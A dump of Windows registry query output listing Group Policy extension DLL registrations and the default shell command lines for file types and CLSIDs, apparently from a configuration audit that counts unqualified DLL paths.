HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{728EE579-943C-4519-9EF7-AB56765798ED}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-9
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{74EE6C03-5363-4554-B161-627540339CAB}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-10
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7909AD9E-09EE-4247-BAB9-7029D5F0A278}
    DllName    REG_EXPAND_SZ    dmenrollengine.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7933F41E-56F8-41d6-A31C-4148A711EE93}
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{7B849a69-220F-451E-B3FE-2CB811AF94AE}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{827D319E-6EAC-11D2-A4EA-00C04F79F83A}
    DisplayName    REG_EXPAND_SZ    @(runtime.system32)\scecli.dll,-7650
    DllName    REG_EXPAND_SZ    scecli.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{8A28E2C5-8D06-49A4-A08C-632DAA493E17}
    DisplayName    REG_EXPAND_SZ    @%systemroot%\system32\gpprnext.dll,-1
    DllName    REG_EXPAND_SZ    %systemroot%\system32\gpprnext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{91FBB303-0CD5-4055-BF42-E512A681B325}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-11
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{9650FDBC-053A-4715-AD14-FC2DC65E8330}
    DllName    REG_EXPAND_SZ    hvsigpext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{A3F3E39B-5D83-4940-B954-28315B82F0A8}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-12
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{AADCED64-746C-4633-A97C-D61349046527}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-13
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{B087BE9D-ED37-454f-AF9C-04291E351182}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-14
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{B587E2B1-4D59-4e7e-AED9-22B9DF11D053}
    DisplayName    REG_EXPAND_SZ    @dot3gpclnt.dll,-100
    DllName    REG_EXPAND_SZ    dot3gpclnt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}
    DllName    REG_EXPAND_SZ    pwlauncher.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{BC75B1ED-5833-4858-9BB8-CBF0B166DF9D}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-16
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C34B2751-1CF4-44F5-9262-C3FC39666591}
    DllName    REG_EXPAND_SZ    pwlauncher.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C418DD9D-0D14-4efb-8FBF-CFE535C8FAC7}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-17
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{C631DF4C-088F-4156-B058-4375F0853CD8}
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\cscobj.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{c6dc5466-785a-11d2-84d0-00c04fb169f7}
    DisplayName    REG_EXPAND_SZ    @appmgmts.dll,-3252
    DllName    REG_EXPAND_SZ    appmgmts.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{cdeafc3d-948d-49dd-ab12-e578ba4af7aa}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-204
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{CF7639F3-ABA2-41DB-97F2-81E2C5DBFC5D}
    DisplayName    REG_SZ    @C:\Windows\System32\iedkcs32.dll,-3051
    DllName    REG_SZ    C:\Windows\System32\iedkcs32.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{CFF649BD-601D-4361-AD3D-0FC365DB4DB7}
    DllName    REG_EXPAND_SZ    %SystemRoot%\system32\domgmt.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{e437bc1c-aa7d-11d2-a382-00c04f991e27}
    DisplayName    REG_EXPAND_SZ    @C:\Windows\System32\polstore.dll,-5012
    DllName    REG_EXPAND_SZ    %SystemRoot%\System32\polstore.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E47248BA-94CC-49c4-BBB5-9EB7F05183D0}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-18
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E4F48E54-F38D-4884-BFB9-D4D2E5729C18}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-19
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E5094040-C46C-4115-B030-04FB2E545B00}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-20
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{E62688F0-25FD-4c90-BFF5-F508B9D2E31F}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-21
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{F312195E-3D9D-447A-A3F5-08DFFA24735E}
    DisplayName    REG_EXPAND_SZ    @dggpext.dll,-600
    DllName    REG_EXPAND_SZ    dggpext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{f3ccc681-b74c-4060-9f26-cd84525dca2a}
    DisplayName    REG_EXPAND_SZ    @auditcse.dll,-3000
    DllName    REG_EXPAND_SZ    auditcse.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{F9C77450-3A41-477E-9310-9ACD617BD9E3}
    DisplayName    REG_EXPAND_SZ    @gpprefcl.dll,-15
    DllName    REG_SZ    C:\Windows\System32\gpprefcl.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FB2CA36D-0B40-4307-821B-A13B252DE56C}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-203
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{fbf687e6-f063-4d9f-9f4f-fd9a26acdd5f}
    DisplayName    REG_EXPAND_SZ    @gptext.dll,-205
    DllName    REG_EXPAND_SZ    gptext.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions\{FC491EF1-C4AA-4CE1-B329-414B101DB823}
    DisplayName    REG_EXPAND_SZ    @dggpext.dll,-600
    DllName    REG_EXPAND_SZ    dggpext.dll

End of search: 100 match(es) found.

Note: 68 of these 100 filenames are either unqualified or contain an environment variable.

All command lines registered with Programmatic Identifiers or Client Types:

REG.EXE QUERY "HKEY_LOCAL_MACHINE\SOFTWARE" /E /F "Command" /K /S /VE

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Manifest\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbApplication %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Application.Reference\shell\open\command
    (Default)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\dfshim.dll",ShOpenVerbShortcut %1|%2

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\iexplore.exe\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\mspaint.exe\shell\edit\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\notepad.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\photoviewer.dll\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\provtool.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\provtool.exe" "%1" /source ShellOpen

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wmplayer.exe\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Applications\wordpad.exe\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AudioCD\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\batfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\brmFile\shell\Open\command
    (Default)    REG_SZ    "PrintBrmUI.exe" /import /file:"%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CABFolder\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\campfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CATFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCAT %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cdmpfile\shell\Install Profile\command
    (Default)    REG_SZ    "colorcpl.exe" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCER %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CERFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCER %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CertificateStoreFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenSTR %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\certificate_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\chm.file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\hh.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{5ea4f148-308c-46d7-98a9-49041b1dd468}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mblctr.exe /open

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{67718415-c450-4f3c-bf8a-b487642dc39b}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\optionalfeatures.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    netplwiz.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{80F3F1D5-FECA-45F3-BC32-752C152E456E}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\NoAddOns\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,Control_RunDLL C:\Windows\System32\inetcpl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\System32\colorcpl.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F82DF8F7-8B9F-442E-A48C-818EA735FF9B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\tabletpc.cpl @0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\edit\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cmdfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\cmd.exe /C "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\comfile\shell\open\command
    (Default)    REG_SZ    "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CompressedFolder\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /idlist,%I,%L

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\contact_wab_auto_file\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Print "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\cplopen\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe "%1",%*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\cplfile\shell\runas\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe shell32.dll,Control_RunDLLAsUser "%1",%*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\add\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddCRL %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CRLFile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenCRL %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\desktopthemepackfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpen\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\AllItems\Shell\Microsoft.DxpOpenInNewWindow\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{0850302A-B344-4fda-9BE9-90576B8D46F0}\Shell\Bluetooth\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\bthprops.cpl,,1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{70FFD812-4C7F-4C7D-926A-637B7DD852AF}\Shell\DeviceInstall\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\newdev.dll,DeviceInternetSettingUi 2

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\DeviceDisplayObject\InterfaceClass\{884b96c3-56ef-11d1-bc8c-00a0c91405dd}\Shell\Regional\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\control.exe %SystemRoot%\System32\intl.cpl,,/p:"keyboard"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Cabinet\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /cab "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Document\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\msdt.exe /path "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Diagnostic.Perfmon.Config\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\perfmon /sys /load "%1"

